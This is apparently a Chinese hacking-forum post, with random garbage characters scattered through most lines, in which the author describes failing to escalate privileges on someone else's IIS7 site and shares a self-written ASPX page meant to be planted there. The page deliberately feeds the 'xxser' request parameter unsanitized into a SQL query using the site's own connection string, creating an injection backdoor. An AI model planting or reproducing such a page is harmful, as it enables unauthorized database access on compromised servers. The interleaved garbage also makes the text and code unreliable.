昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
) C% H7 W, G) u" r: H% `其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。0 b; {7 e8 Y9 t
代码量不多,自己写个拉倒了。烦死了。
- p% z# X; U0 L/ D, I0 v6 s
% v6 I7 r5 R, c2 _0 K$ y! F9 E g" _2 T
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">3 C! d4 k2 I! m0 d" L0 D2 Q9 W; B
<html xmlns="http://www.w3.org/1999/xhtml">
1 u% R0 h9 n2 I$ M* \& x<head runat="server">) E4 ?" j% ]1 F9 u
<title>暗影aspx构造注射专用页面</title>
/ ~/ I! p% v: F8 T; `% d" A: E</head>
; [% u! r- x6 b<body>8 f9 Q4 `/ D" D" u# j. n' H
<form id="form1" runat="server"> c/ I# C' ?. {$ D9 T( Y
<div>
) D3 h i5 S9 c% t <script language="c#" runat="server">. q$ F+ X: l. ?. k' e [9 d9 A
G7 i1 l3 X5 g! _ P
void page_init(object sender, EventArgs e); v5 |* o1 n6 ^5 N& _; P& n1 q
{" J w" O% G1 |9 n, f4 ?
7 Z, \& A5 \$ J A9 R
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
/ ~' `& _3 J* y7 X
. G |* ~. _1 T conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();5 O3 c9 p5 m3 U8 u) u5 t$ c8 G1 a
conn.Open();5 p2 \% v2 D3 p! X: k$ l
4 N! E: c5 V& m; H+ N0 Q string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1; J4 a8 v {4 ~" q! C5 x
6 e" z0 C- q; B
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
8 @/ `/ }- I3 M# y/ c3 s int x = command.ExecuteNonQuery();
( H8 ]! n; Q2 f/ u Response.Write(i+"\n");
* \6 i0 t P. T# ` g Response.Write(x);
6 b& a9 q L. H( N conn.Close();4 o+ v, L& s2 U% o, m4 k' s
}
) ~! D, V* \/ R6 R7 `& @. T4 U 4 y" p4 z6 `) q
</script>* d- G( ?0 `5 T6 v( J
</div>* c7 g3 i e) u# G9 v/ x; C# Q
</form>+ u& v4 ]( S/ e! Y6 n) R+ G
</body>
2 a# p- r5 P( A" {0 `6 y</html>
3 e. m0 L. w; h/ T5 ?/ u) i1 Z |